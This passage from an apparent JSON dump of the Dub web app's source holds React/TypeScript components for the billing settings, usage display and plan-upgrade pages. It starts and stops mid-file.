bg-neutral-200\" />\n          <div className=\"mt-1 h-4 w-32 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/plan-usage.tsx",
    "content": "\"use client\";\n\nimport { MEGA_WORKSPACE_LINKS_LIMIT } from \"@/lib/constants/misc\";\nimport useGroupsCount from \"@/lib/swr/use-groups-count\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport useTagsCount from \"@/lib/swr/use-tags-count\";\nimport { useUsageTimeseries } from \"@/lib/swr/use-usage-timeseries\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport useWorkspaceUsers from \"@/lib/swr/use-workspace-users\";\nimport { useManageUsageModal } from \"@/ui/modals/manage-usage-modal\";\nimport SubscriptionMenu from \"@/ui/workspaces/subscription-menu\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Icon,\n  Tooltip,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport {\n  CirclePercentage,\n  CreditCard,\n  CrownSmall,\n  CursorRays,\n  Folder5,\n  Globe,\n  Hyperlink,\n  Tag,\n  Users,\n  Users6,\n} from \"@dub/ui/icons\";\nimport {\n  capitalize,\n  cn,\n  getFirstAndLastDay,\n  INFINITY_NUMBER,\n  isLegacyBusinessPlan,\n  nFormatter,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport Link from \"next/link\";\nimport { CSSProperties, ReactNode, useMemo } from \"react\";\nimport { UsageChart } from \"./usage-chart\";\n\nexport default function PlanUsage() {\n  const {\n    slug,\n    plan,\n    stripeId,\n    defaultProgramId,\n    usage,\n    usageLimit,\n    linksUsage,\n    linksLimit,\n    totalLinks,\n    payoutsUsage,\n    payoutsLimit,\n    payoutFee,\n    payoutFeeWaiverLimit,\n    payoutFeeWaiverUsage,\n    domains,\n    domainsLimit,\n    foldersUsage,\n    foldersLimit,\n    groupsLimit,\n    tagsLimit,\n    usersLimit,\n    billingCycleStart,\n  } = useWorkspace();\n\n  const { data: tags } = useTagsCount();\n  const { users } = useWorkspaceUsers();\n\n  const { partnersCount } = usePartnersCount<number>({\n    status: \"approved\",\n    ignoreParams: true,\n    enabled: Boolean(defaultProgramId),\n  });\n\n  const { groupsCount } = useGroupsCount();\n\n  const [billingStart, billingEnd] = useMemo(() => {\n    if (billingCycleStart) {\n      const { firstDay, lastDay } = getFirstAndLastDay(billingCycleStart);\n      const start = firstDay.toLocaleDateString(\"en-us\", {\n        month: \"short\",\n        day: \"numeric\",\n        year: \"numeric\",\n      });\n      const end = lastDay.toLocaleDateString(\"en-us\", {\n        month: \"short\",\n        day: \"numeric\",\n        year: \"numeric\",\n      });\n      return [start, end];\n    }\n    return [];\n  }, [billingCycleStart]);\n\n  const usageTabs = useMemo(() => {\n    const tabs = [\n      {\n        resource: \"events\" as const,\n        icon: CursorRays,\n        title: \"Events tracked\",\n        usage: usage,\n        limit: usageLimit,\n      },\n      {\n        resource: \"links\" as const,\n        icon: Hyperlink,\n        title: \"Links created\",\n        usage: linksUsage,\n        limit: linksLimit,\n      },\n    ];\n    if (totalLinks && totalLinks > MEGA_WORKSPACE_LINKS_LIMIT) {\n      // Find the links tab and move it to the first position\n      const linksTabIndex = tabs.findIndex((tab) => tab.resource === \"links\");\n      if (linksTabIndex !== -1) {\n        const linksTab = tabs.splice(linksTabIndex, 1)[0];\n        tabs.unshift(linksTab);\n      }\n    }\n    return tabs;\n  }, [usage, usageLimit, linksUsage, linksLimit, totalLinks]);\n\n  // Display the payout fee in a readable format\n  const payoutFeeDisplay = useMemo((): ReactNode => {\n    if (!plan || payoutFee === undefined) return undefined;\n\n    const hasTieredPricing = payoutFeeWaiverLimit && payoutFeeWaiverLimit > 0;\n    const hasWaiverRemaining =\n      payoutFeeWaiverUsage !== undefined &&\n      payoutFeeWaiverUsage < payoutFeeWaiverLimit!;\n\n    if (hasTieredPricing && hasWaiverRemaining) {\n      const waiverLimitFormatted = nFormatter(payoutFeeWaiverLimit / 100, {\n        full: payoutFeeWaiverLimit < 100000,\n      });\n\n      return (\n        <>\n          <span className=\"text-neutral-400 line-through\">\n            {payoutFee * 100}%\n          </span>{\" \"}\n          0% for the first ${waiverLimitFormatted}\n        </>\n      );\n    }\n\n    return `${payoutFee * 100}%`;\n  }, [plan, payoutFee, payoutFeeWaiverLimit, payoutFeeWaiverUsage]);\n\n  return (\n    <div className=\"rounded-xl border border-neutral-200 bg-white\">\n      <div className=\"flex flex-col items-start justify-between gap-y-4 p-6 md:px-8 lg:flex-row\">\n        <div>\n          <h2 className=\"text-xl font-medium\">\n            {plan && isLegacyBusinessPlan({ plan, payoutsLimit })\n              ? \"Business (Legacy)\"\n              : capitalize(plan)}{\" \"}\n            Plan\n          </h2>\n          {billingStart && billingEnd && (\n            <p className=\"mt-1.5 text-balance text-sm font-medium leading-normal text-neutral-700\">\n              <>\n                Current billing cycle:{\" \"}\n                <span className=\"font-normal\">\n                  {billingStart} - {billingEnd}\n                </span>\n              </>\n            </p>\n          )}\n        </div>\n        <div className=\"flex items-center gap-2\">\n          {plan !== \"enterprise\" && (\n            <Link href={`/${slug}/settings/billing/upgrade`}>\n              <Button\n                text={plan === \"free\" ? \"Upgrade\" : \"Manage plan\"}\n                variant=\"primary\"\n                className=\"h-9\"\n              />\n            </Link>\n          )}\n          <Link href={`/${slug}/settings/billing/invoices`}>\n            <Button text=\"View invoices\" variant=\"secondary\" className=\"h-9\" />\n          </Link>\n          {stripeId && plan !== \"free\" && <SubscriptionMenu />}\n        </div>\n      </div>\n      <div className=\"grid grid-cols-[minmax(0,1fr)] divide-y divide-neutral-200 border-t border-neutral-200\">\n        <div>\n          <div className=\"grid gap-4 p-6 pb-0 sm:grid-cols-2 md:p-8 md:pb-0 lg:gap-6\">\n            {usageTabs.map((tab) => (\n              <UsageTabCard key={tab.resource} {...tab} />\n            ))}\n          </div>\n          <div className=\"w-full px-2 pb-8 md:px-8\">\n            <UsageChart />\n          </div>\n        </div>\n        <div\n          className={cn(\n            \"grid grid-cols-1 gap-[1px] overflow-hidden rounded-b-lg bg-neutral-200 md:grid-cols-3\",\n            \"md:grid-cols-2 lg:grid-cols-2 xl:grid-cols-4\",\n          )}\n        >\n          <UsageCategory\n            title=\"Custom Domains\"\n            icon={Globe}\n            usage={domains?.length}\n            usageLimit={domainsLimit}\n            href={`/${slug}/settings/domains`}\n          />\n          <UsageCategory\n            title=\"Folders\"\n            icon={Folder5}\n            usage={foldersUsage}\n            usageLimit={foldersLimit}\n            href={`/${slug}/settings/library/folders`}\n          />\n          <UsageCategory\n            title=\"Tags\"\n            icon={Tag}\n            usage={tags}\n            usageLimit={tagsLimit}\n            href={`/${slug}/settings/library/tags`}\n          />\n          <UsageCategory\n            title=\"Teammates\"\n            icon={Users}\n            usage={users?.filter((user) => !user.isMachine).length}\n            usageLimit={usersLimit}\n            href={`/${slug}/settings/people`}\n          />\n        </div>\n        <div className=\"grid grid-cols-1 gap-[1px] overflow-hidden rounded-b-xl bg-neutral-200 md:grid-cols-4\">\n          <UsageCategory\n            title=\"Partners\"\n            icon={Users}\n            usage={partnersCount ?? 0}\n            usageLimit={INFINITY_NUMBER}\n            href={`/${slug}/program/partners`}\n          />\n          <UsageCategory\n            title=\"Partner Groups\"\n            icon={Users6}\n            usage={groupsCount ?? 0}\n            usageLimit={groupsLimit}\n            href={`/${slug}/program/groups`}\n          />\n          <UsageCategory\n            title=\"Partner payouts\"\n            icon={CreditCard}\n            usage={payoutsUsage}\n            usageLimit={payoutsLimit}\n            unit=\"$\"\n            href={`/${slug}/program/payouts`}\n          />\n          <UsageCategory\n            title=\"Payout fees\"\n            icon={CirclePercentage}\n            usage={payoutFeeDisplay}\n            href=\"https://dub.co/help/article/partner-payouts#payout-fees-and-timing\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction UsageTabCard({\n  resource,\n  icon: Icon,\n  title,\n  usage: usageProp,\n  limit: limitProp,\n  unit,\n  requiresUpgrade,\n}: {\n  resource: \"links\" | \"events\";\n  icon: Icon;\n  title: string;\n  usage?: number;\n  limit?: number;\n  unit?: string;\n  requiresUpgrade?: boolean;\n}) {\n  const { queryParams, searchParamsObj } = useRouterStuff();\n  const { slug, plan } = useWorkspace();\n\n  const { ManageUsageModal, setShowManageUsageModal } = useManageUsageModal({\n    type: resource,\n  });\n\n  const hasActiveFilters = useMemo(() => {\n    return !!(\n      searchParamsObj.folderId ||\n      searchParamsObj.domain ||\n      searchParamsObj.interval ||\n      searchParamsObj.start ||\n      searchParamsObj.end\n    );\n  }, [searchParamsObj]);\n\n  const { usage: usageTimeseries, activeResource } = useUsageTimeseries({\n    resource: hasActiveFilters ? resource : undefined,\n  });\n\n  const filteredUsage = usageTimeseries?.reduce((acc, curr) => {\n    acc += curr.value;\n    return acc;\n  }, 0);\n\n  const [usage, limit] =\n    unit === \"$\" && usageProp !== undefined && limitProp !== undefined\n      ? [\n          (hasActiveFilters && filteredUsage !== undefined\n            ? filteredUsage\n            : usageProp) / 100,\n          limitProp / 100,\n        ]\n      : [\n          hasActiveFilters && filteredUsage !== undefined\n            ? filteredUsage\n            : usageProp,\n          limitProp,\n        ];\n\n  const loading = usage === undefined || limit === undefined;\n  const unlimited = limitProp !== undefined && limitProp >= INFINITY_NUMBER;\n  const warning = !loading && !unlimited && usage >= limit * 0.9;\n  const remaining = !loading && !unlimited ? Math.max(0, limit - usage) : 0;\n\n  const prefix = unit || \"\";\n\n  return (\n    <div className=\"relative\">\n      <ManageUsageModal />\n      <button\n        className={cn(\n          \"w-full rounded-lg border border-neutral-300 bg-white px-4 py-3 text-left transition-colors duration-75\",\n          \"outline-none focus-visible:border-blue-600 focus-visible:ring-1 focus-visible:ring-blue-600\",\n          activeResource === resource &&\n            \"border-neutral-900 ring-1 ring-neutral-900\",\n          requiresUpgrade\n            ? \"border-neutral-100 bg-neutral-100 hover:bg-neutral-100\"\n            : \"hover:bg-neutral-50 lg:px-5 lg:py-4\",\n        )}\n        aria-selected={activeResource === resource}\n        onClick={() =>\n          !requiresUpgrade && queryParams({ set: { tab: resource } })\n        }\n        disabled={requiresUpgrade}\n      >\n        <Icon className=\"size-4 text-neutral-600\" />\n        <div className=\"mt-1.5 flex items-center gap-2 text-sm text-neutral-600\">\n          {title}\n          {requiresUpgrade && (\n            <Tooltip\n              content={\n                <div className=\"max-w-xs px-4 py-2 text-center text-sm text-neutral-600\">\n                  Upgrade to Business to unlock conversion tracking.{\" \"}\n                  <Link\n                    href={`/${slug}/upgrade`}\n                    className=\"underline underline-offset-2 hover:text-neutral-800\"\n                  >\n                    View pricing plans\n                  </Link>\n                </div>\n              }\n            >\n              <span className=\"flex items-center gap-1 rounded-full border border-neutral-300 px-2 py-0.5 text-xs text-neutral-500\">\n                <CrownSmall className=\"size-4\" />\n                Business\n              </span>\n            </Tooltip>\n          )}\n        </div>\n        <div className=\"mt-1.5\">\n          {!loading ? (\n            <NumberFlow\n              value={usage}\n              className=\"text-2xl font-medium leading-none text-neutral-900\"\n              format={\n                unit === \"$\"\n                  ? {\n                      style: \"currency\",\n                      currency: \"USD\",\n                      // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                      trailingZeroDisplay: \"stripIfInteger\",\n                    }\n                  : {\n                      notation:\n                        usage < INFINITY_NUMBER ? \"standard\" : \"compact\",\n                    }\n              }\n            />\n          ) : (\n            <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n          )}\n        </div>\n        <AnimatedSizeContainer height>\n          {!hasActiveFilters && (\n            <div className=\"h-12\">\n              <div className=\"mt-4\">\n                <div\n                  className={cn(\n                    \"h-1 w-full overflow-hidden rounded-full bg-neutral-900/10 transition-colors\",\n                    loading && \"bg-neutral-900/5\",\n                  )}\n                >\n                  {!loading && !unlimited && (\n                    <div\n                      className=\"animate-slide-right-fade size-full\"\n                      style={{ \"--offset\": \"-100%\" } as CSSProperties}\n                    >\n                      <div\n                        className={cn(\n                          \"size-full rounded-full\",\n                          requiresUpgrade\n                            ? \"bg-neutral-900/10\"\n                            : \"bg-neutral-800\",\n                          warning &&\n                            \"from-neutral-900/10 via-red-500 to-red-600\",\n                        )}\n                        style={{\n                          transform: `translateX(-${100 - Math.max(Math.floor((usage / Math.max(0, usage, limit)) * 100), usage === 0 ? 0 : 1)}%)`,\n                        }}\n                      />\n                    </div>\n                  )}\n                </div>\n              </div>\n              <div className=\"mt-2 leading-none\">\n                {!loading ? (\n                  <span className=\"text-xs font-medium leading-none text-neutral-600\">\n                    {unlimited\n                      ? \"Unlimited\"\n                      : `${prefix}${nFormatter(remaining, { full: true })} remaining of ${prefix}${nFormatter(limit, { full: limit < INFINITY_NUMBER })}`}\n                  </span>\n                ) : (\n                  <div className=\"h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n                )}\n              </div>\n            </div>\n          )}\n        </AnimatedSizeContainer>\n      </button>\n      {[\"links\", \"events\"].includes(resource) && plan !== \"enterprise\" && (\n        <div className=\"absolute right-3 top-3\">\n          <Button\n            onClick={() => setShowManageUsageModal(true)}\n            text={warning ? \"Upgrade\" : \"Manage\"}\n            variant={warning ? \"primary\" : \"secondary\"}\n            className=\"h-6 px-1.5 text-xs\"\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction UsageCategory(data: {\n  title: string;\n  icon: Icon;\n  usage?: number | string | ReactNode;\n  usageLimit?: number;\n  href?: string;\n  unit?: string;\n}) {\n  let { title, icon: Icon, usage, usageLimit, unit, href } = data;\n\n  const As = href ? Link : \"div\";\n\n  return (\n    <As\n      className={cn(\n        \"flex flex-col justify-between gap-4 bg-white p-6 md:px-8\",\n        href && \"transition-colors hover:bg-neutral-50\",\n      )}\n      href={href ?? \"#\"}\n      {...(href?.startsWith(\"http\") && { target: \"_blank\" })}\n    >\n      <div className=\"flex cursor-default items-center gap-2 text-neutral-800\">\n        <Icon className=\"size-4 shrink-0\" />\n        <h3 className=\"text-sm font-medium\">{title}</h3>\n      </div>\n      <div className=\"flex items-center gap-1.5 text-sm font-medium text-neutral-800\">\n        {usage || usage === 0 ? (\n          <p>\n            {typeof usage === \"number\"\n              ? `${unit ?? \"\"}${nFormatter(usage / (unit === \"$\" ? 100 : 1), { full: true })}`\n              : usage}\n          </p>\n        ) : (\n          <div className=\"size-5 animate-pulse rounded-md bg-neutral-200\" />\n        )}\n        {usageLimit !== undefined && (\n          <>\n            <span>/</span>\n            <p className=\"text-neutral-500\">\n              {usageLimit && usageLimit >= INFINITY_NUMBER\n                ? \"∞\"\n                : `${unit ?? \"\"}${nFormatter(\n                    usageLimit / (unit === \"$\" ? 100 : 1),\n                    {\n                      full: true,\n                    },\n                  )}`}\n            </p>\n          </>\n        )}\n      </div>\n    </As>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/upgrade/adjust-usage-row.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Grid, Slider } from \"@dub/ui\";\nimport {\n  ENTERPRISE_PLAN,\n  SELF_SERVE_PAID_PLANS,\n  cn,\n  getPlanDetails,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { motion } from \"motion/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useEffect, useMemo, useState } from \"react\";\n\nexport function AdjustUsageRow({\n  onLinksUsageChange,\n  onEventsUsageChange,\n}: {\n  onLinksUsageChange: (value: number) => void;\n  onEventsUsageChange: (value: number) => void;\n}) {\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  return (\n    <div className=\"relative\">\n      <motion.div\n        initial={false}\n        animate={{ height: isExpanded ? \"auto\" : 0 }}\n        transition={{ duration: 0.15, ease: \"easeOut\" }}\n        inert={!isExpanded}\n        className={cn(\n          \"overflow-hidden transition-opacity ease-out\",\n          isExpanded ? \"duration-500\" : \"opacity-0 duration-150\",\n        )}\n      >\n        <div className=\"grid grid-cols-1 gap-10 p-6 lg:grid-cols-2\">\n          <UsageSlider type=\"links\" onChange={onLinksUsageChange} />\n          <UsageSlider type=\"events\" onChange={onEventsUsageChange} />\n        </div>\n      </motion.div>\n      <div className=\"relative flex items-center justify-center overflow-hidden rounded-b-[12px] py-2\">\n        <div className=\"absolute inset-0 [mask-image:radial-gradient(70%_120%_at_50%_100%,black_50%,transparent)]\">\n          <Grid\n            cellSize={21}\n            patternOffset={[-1, 0]}\n            className=\"text-border-subtle\"\n          />\n        </div>\n\n        <Button\n          variant=\"secondary\"\n          text={isExpanded ? \"Close\" : \"Adjust usage\"}\n          onClick={() => setIsExpanded((e) => !e)}\n          className=\"relative h-6 w-fit rounded-lg px-1.5 text-xs\"\n        />\n      </div>\n    </div>\n  );\n}\n\nfunction UsageSlider({\n  type,\n  onChange,\n}: {\n  type: \"links\" | \"events\";\n  onChange: (value: number) => void;\n}) {\n  const workspace = useWorkspace();\n\n  const limitKey = { events: \"clicks\" }[type] ?? type;\n  const workspaceLimitKey = { events: \"usageLimit\", links: \"linksLimit\" }[type];\n\n  const usageSteps = useMemo(\n    () => [\n      ...new Set(\n        [...SELF_SERVE_PAID_PLANS, ENTERPRISE_PLAN]\n          .flatMap((p) => [\n            p.limits[limitKey],\n            ...Object.values(p.tiers ?? {}).map(\n              ({ limits }) => limits[limitKey],\n            ),\n          ])\n          .sort((a, b) => a - b),\n      ),\n    ],\n    [limitKey],\n  );\n\n  const searchParams = useSearchParams();\n  const planParam = searchParams.get(\"plan\");\n  const planTierParam = Number(searchParams.get(\"planTier\")) || 1;\n\n  const defaultValue = useMemo(() => {\n    // we're not including planParam in the dependency array\n    // to allow the slider to update when the plan changes\n    if (planParam) {\n      const planDetails = getPlanDetails({\n        plan: planParam,\n        planTier: planTierParam,\n      });\n      if (planDetails) {\n        return planDetails.limits[limitKey];\n      }\n    }\n    const currentLimit = workspace[workspaceLimitKey];\n    return usageSteps.reduce((prev, curr) =>\n      Math.abs(curr - currentLimit) < Math.abs(prev - currentLimit)\n        ? curr\n        : prev,\n    );\n  }, [usageSteps, workspace, workspaceLimitKey]);\n\n  const [selectedValue, setSelectedValue] = useState<number | null>(null);\n\n  useEffect(() => {\n    onChange(selectedValue ?? defaultValue);\n  }, [selectedValue, defaultValue, onChange]);\n\n  if (usageSteps.length < 2) return null;\n\n  return (\n    <div className=\"flex flex-col\">\n      <span className=\"text-content-default text-sm font-medium\">\n        {\n          {\n            events: \"Events tracked per month\",\n            links: \"Links created per month\",\n          }[type]\n        }\n      </span>\n      <span className=\"text-content-emphasis text-lg font-semibold\">\n        <NumberFlow value={selectedValue ?? defaultValue} />\n        {workspace[workspaceLimitKey] === (selectedValue ?? defaultValue) && (\n          <span className=\"animate-fade-in\"> (current plan)</span>\n        )}\n      </span>\n\n      <div className=\"mt-1\">\n        <Slider\n          value={usageSteps.indexOf(selectedValue ?? defaultValue)}\n          min={0}\n          max={usageSteps.length - 1}\n          onChange={(idx) => setSelectedValue(usageSteps[idx])}\n          marks={usageSteps.map((_, idx) => idx)}\n          className=\"[--thumb-radius:10px] [--track-height:14px]\"\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/upgrade/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport { UpgradePlanButton } from \"@/ui/workspaces/upgrade-plan-button\";\nimport {\n  ChartLine,\n  Check,\n  CircleQuestion,\n  ConnectedDots4,\n  Globe,\n  Hyperlink,\n  Icon,\n  Plug2,\n  ToggleGroup,\n  Users2,\n} from \"@dub/ui\";\nimport {\n  cn,\n  getSuggestedPlan,\n  isDowngradePlan,\n  isLegacyBusinessPlan,\n  PlanDetails,\n  PLANS,\n  PRICING_PLAN_COMPARE_FEATURES,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { ChevronLeft, ChevronRight } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useSearchParams } from \"next/navigation\";\nimport { CSSProperties, useEffect, useMemo, useState } from \"react\";\nimport { AdjustUsageRow } from \"./adjust-usage-row\";\n\nconst COMPARE_FEATURE_ICONS: Record<\n  (typeof PRICING_PLAN_COMPARE_FEATURES)[number][\"category\"],\n  Icon\n> = {\n  Links: Hyperlink,\n  Analytics: ChartLine,\n  Partners: ConnectedDots4,\n  Domains: Globe,\n  Workspace: Users2,\n  Support: CircleQuestion,\n  API: Plug2,\n};\n\nexport function WorkspaceBillingUpgradePageClient() {\n  const {\n    slug,\n    role,\n    plan: currentPlan,\n    planTier: currentPlanTier = 1,\n    stripeId,\n    payoutsLimit,\n  } = useWorkspace();\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"billing.write\",\n    role,\n  });\n\n  const [mobilePlanIndex, setMobilePlanIndex] = useState(0);\n  const [period, setPeriod] = useState<\"monthly\" | \"yearly\">(\"monthly\");\n\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  const searchParams = useSearchParams();\n  useEffect(() => {\n    if (searchParams.get(\"showPartnersUpgradeModal\")) {\n      setShowPartnersUpgradeModal(true);\n    }\n  }, [searchParams]);\n\n  const [eventsUsage, setEventsUsage] = useState<number | null>(null);\n  const [linksUsage, setLinksUsage] = useState<number | null>(null);\n\n  const recommendedPlan = useMemo(() => {\n    if (!eventsUsage || !linksUsage) return null;\n\n    return getSuggestedPlan({\n      events: eventsUsage,\n      links: linksUsage,\n    });\n  }, [linksUsage, eventsUsage]);\n\n  const plans: { plan: PlanDetails; planTier: number }[] = useMemo(\n    () =>\n      [\"Pro\", \"Business\", \"Advanced\", \"Enterprise\"].map((p) => {\n        const planDetails = PLANS.find(({ name }) => name === p)!;\n        if (\n          recommendedPlan &&\n          recommendedPlan.plan.name.toLowerCase() === p.toLowerCase()\n        ) {\n          return recommendedPlan;\n        }\n        return { plan: planDetails, planTier: 1 };\n      }),\n    [recommendedPlan],\n  );\n\n  return (\n    <div>\n      {partnersUpgradeModal}\n      <div className=\"flex flex-wrap items-start justify-between gap-4\">\n        <Link\n          href={`/${slug}/settings/billing`}\n          title=\"Back to billing\"\n          className=\"group flex items-center gap-2\"\n        >\n          <ChevronLeft\n            className=\"mt-px size-5 text-neutral-500 transition-transform duration-100 group-hover:-translate-x-0.5\"\n            strokeWidth={2}\n          />\n          <h1 className=\"text-2xl font-semibold tracking-tight text-neutral-900\">\n            Plans\n          </h1>\n        </Link>\n        <ToggleGroup\n          options={[\n            { label: \"Monthly\", value: \"monthly\" },\n            { label: \"Yearly (Save 17%)\", value: \"yearly\" },\n          ]}\n          selected={period}\n          selectAction={(option) => setPeriod(option as \"monthly\" | \"yearly\")}\n          className=\"rounded-lg border-neutral-300 bg-neutral-100 p-0.5\"\n          optionClassName=\"text-xs text-neutral-800 data-[selected=true]:text-neutral-800 px-3 sm:px-5 py-2 leading-none\"\n          indicatorClassName=\"bg-white border-neutral-200 rounded-md\"\n        />\n      </div>\n\n      <div className=\"mt-6\">\n        <div className=\"sticky -top-px z-10\">\n          <div className=\"overflow-x-hidden rounded-b-[12px] from-neutral-200 [container-type:inline-size] lg:bg-gradient-to-t lg:p-px\">\n            <div\n              className={cn(\n                \"grid grid-cols-4 gap-px overflow-hidden rounded-b-[11px] text-sm text-neutral-800 [&_strong]:font-medium\",\n\n                // Mobile\n                \"max-lg:w-[calc(400cqw+3*32px)] max-lg:translate-x-[calc(-1*var(--index)*(100cqw+32px))] max-lg:gap-x-8 max-lg:transition-transform\",\n              )}\n              style={\n                {\n                  \"--index\": mobilePlanIndex,\n                } as CSSProperties\n              }\n            >\n              {plans.map(({ plan, planTier }, idx) => {\n                // disable upgrade button if user has a Stripe ID and is on the current plan\n                // (if there's no stripe id, they could be on a free trial so they should be able to upgrade)\n                // edge case:\n                //    if the user is on the business plan and has a payout limit of 0,\n                //    it means they're on the legacy business plan – prompt them to upgrade to the new business plan\n                const disableCurrentPlan = Boolean(\n                  stripeId &&\n                    plan.name.toLowerCase() === currentPlan &&\n                    planTier === currentPlanTier &&\n                    !isLegacyBusinessPlan({\n                      plan: currentPlan,\n                      payoutsLimit,\n                    }),\n                );\n\n                // show downgrade button if user has a stripe id and is on the current plan\n                const isDowngrade = Boolean(\n                  stripeId &&\n                    isDowngradePlan({\n                      currentPlan: currentPlan || \"free\",\n                      currentTier: currentPlanTier,\n                      newPlan: plan.name,\n                      newTier: planTier,\n                    }),\n                );\n\n                return (\n                  <div\n                    key={plan.name}\n                    className={cn(\n                      \"relative top-0 flex h-full flex-col gap-6 bg-white p-5 lg:p-3 xl:p-5\",\n                      \"max-lg:rounded-xl max-lg:border max-lg:border-neutral-200\",\n\n                      idx !== mobilePlanIndex && \"max-lg:opacity-0\",\n                    )}\n                  >\n                    <div>\n                      <div className=\"flex items-start justify-between gap-2\">\n                        <h3 className=\"py-1 text-base font-semibold leading-none text-neutral-800\">\n                          {plan.name}\n                        </h3>\n                        {recommendedPlan &&\n                          !isDowngrade &&\n                          plan.name === recommendedPlan.plan.name &&\n                          planTier === recommendedPlan.planTier &&\n                          !disableCurrentPlan && (\n                            <div className=\"animate-fade-in flex h-6 min-w-0 items-center rounded-lg border border-blue-100 bg-blue-50 px-1.5 text-xs font-medium text-blue-600\">\n                              <span className=\"truncate\">Recommended</span>\n                            </div>\n                          )}\n                      </div>\n                      <div className=\"relative mt-0.5 flex items-center gap-1\">\n                        {plan.name === \"Enterprise\" ? (\n                          <span className=\"text-sm font-medium text-neutral-900\">\n                            Custom\n                          </span>\n                        ) : (\n                          <>\n                            <NumberFlow\n                              value={plan.price[period]!}\n                              className=\"text-sm font-medium tabular-nums text-neutral-700\"\n                              format={{\n                                style: \"currency\",\n                                currency: \"USD\",\n                                minimumFractionDigits: 0,\n                              }}\n                              continuous\n                            />\n                            <span className=\"text-sm font-medium text-neutral-400\">\n                              per month\n                              {period === \"yearly\" && \", billed yearly\"}\n                            </span>\n                          </>\n                        )}\n                      </div>\n                    </div>\n                    <div className=\"flex gap-3\">\n                      <button\n                        type=\"button\"\n                        className=\"h-full w-fit rounded-lg bg-neutral-100 px-2.5 transition-colors duration-75 hover:bg-neutral-200/80 enabled:active:bg-neutral-200 disabled:opacity-30 lg:hidden\"\n                        disabled={mobilePlanIndex === 0}\n                        onClick={() => setMobilePlanIndex(mobilePlanIndex - 1)}\n                      >\n                        <ChevronLeft className=\"size-5 text-neutral-800\" />\n                      </button>\n                      {plan.name === \"Enterprise\" && !disableCurrentPlan ? (\n                        <Link\n                          href=\"https://dub.co/contact/sales\"\n                          target=\"_blank\"\n                          className={cn(\n                            \"flex h-8 w-full items-center justify-center rounded-md text-center text-sm ring-gray-200 transition-all duration-200 ease-in-out\",\n                            \"border border-neutral-200 bg-white text-neutral-900 shadow-sm hover:bg-neutral-50\",\n                          )}\n                        >\n                          Contact us\n                        </Link>\n                      ) : (\n                        <UpgradePlanButton\n                          plan={plan.name.toLowerCase()}\n                          tier={planTier > 1 ? planTier : undefined}\n                          period={period}\n                          disabled={\n                            disableCurrentPlan || currentPlan === \"enterprise\"\n                          }\n                          disabledTooltip={permissionsError || undefined}\n                          text={\n                            currentPlan === \"enterprise\"\n                              ? \"Contact support\"\n                              : disableCurrentPlan\n                                ? \"Current plan\"\n                                : isDowngrade\n                                  ? \"Downgrade\"\n                                  : \"Upgrade\"\n                          }\n                          variant={isDowngrade ? \"secondary\" : \"primary\"}\n                          className=\"h-8 shadow-sm\"\n                        />\n                      )}\n                      <button\n                        type=\"button\"\n                        className=\"h-full w-fit rounded-lg bg-neutral-100 px-2.5 transition-colors duration-75 hover:bg-neutral-200/80 active:bg-neutral-200 disabled:opacity-30 lg:hidden\"\n                        disabled={mobilePlanIndex >= plans.length - 1}\n                        onClick={() => setMobilePlanIndex(mobilePlanIndex + 1)}\n                      >\n                        <ChevronRight className=\"size-5 text-neutral-800\" />\n                      </button>\n                    </div>\n                  </div>\n                );\n              })}\n            </div>\n          </div>\n\n          <div className=\"relative -z-10 bg-white\">\n            <div className=\"bg-bg-muted border-subtle absolute inset-x-0 -top-2.5 bottom-0 rounded-b-[12px] border\" />\n\n            <AdjustUsageRow\n              onLinksUsageChange={(value) => setLinksUsage(value)}\n              onEventsUsageChange={(value) => setEventsUsage(value)}\n            />\n          </div>\n\n          <div className=\"h-4 bg-gradient-to-b from-white\" />\n        </div>\n        <div className=\"flex flex-col pb-12\">\n          {PRICING_PLAN_COMPARE_FEATURES.map((section) => (\n            <BillingCompareSection\n              key={section.category}\n              category={section.category}\n              href={section.href}\n              features={section.features}\n              mobilePlanIndex={mobilePlanIndex}\n              plans={plans}\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction BillingCompareSection({\n  category,\n  href,\n  features,\n  mobilePlanIndex,\n  plans,\n}: (typeof PRICING_PLAN_COMPARE_FEATURES)[number] & {\n  mobilePlanIndex: number;\n  plans: { plan: PlanDetails; planTier: number }[];\n}) {\n  const [isExpanded, setIsExpanded] = useState(true);\n  const { defaultProgramId } = useWorkspace();\n\n  useEffect(() => {\n    if (category === \"Links\") {\n      // If there's a default program, collapse Links. Otherwise expand.\n      setIsExpanded(!defaultProgramId);\n    } else if (category === \"Partners\") {\n      // If there's no default program, collapse Partners. Otherwise expand.\n      setIsExpanded(Boolean(defaultProgramId));\n    } else {\n      setIsExpanded(true);\n    }\n  }, [category, defaultProgramId]);\n\n  const Icon = 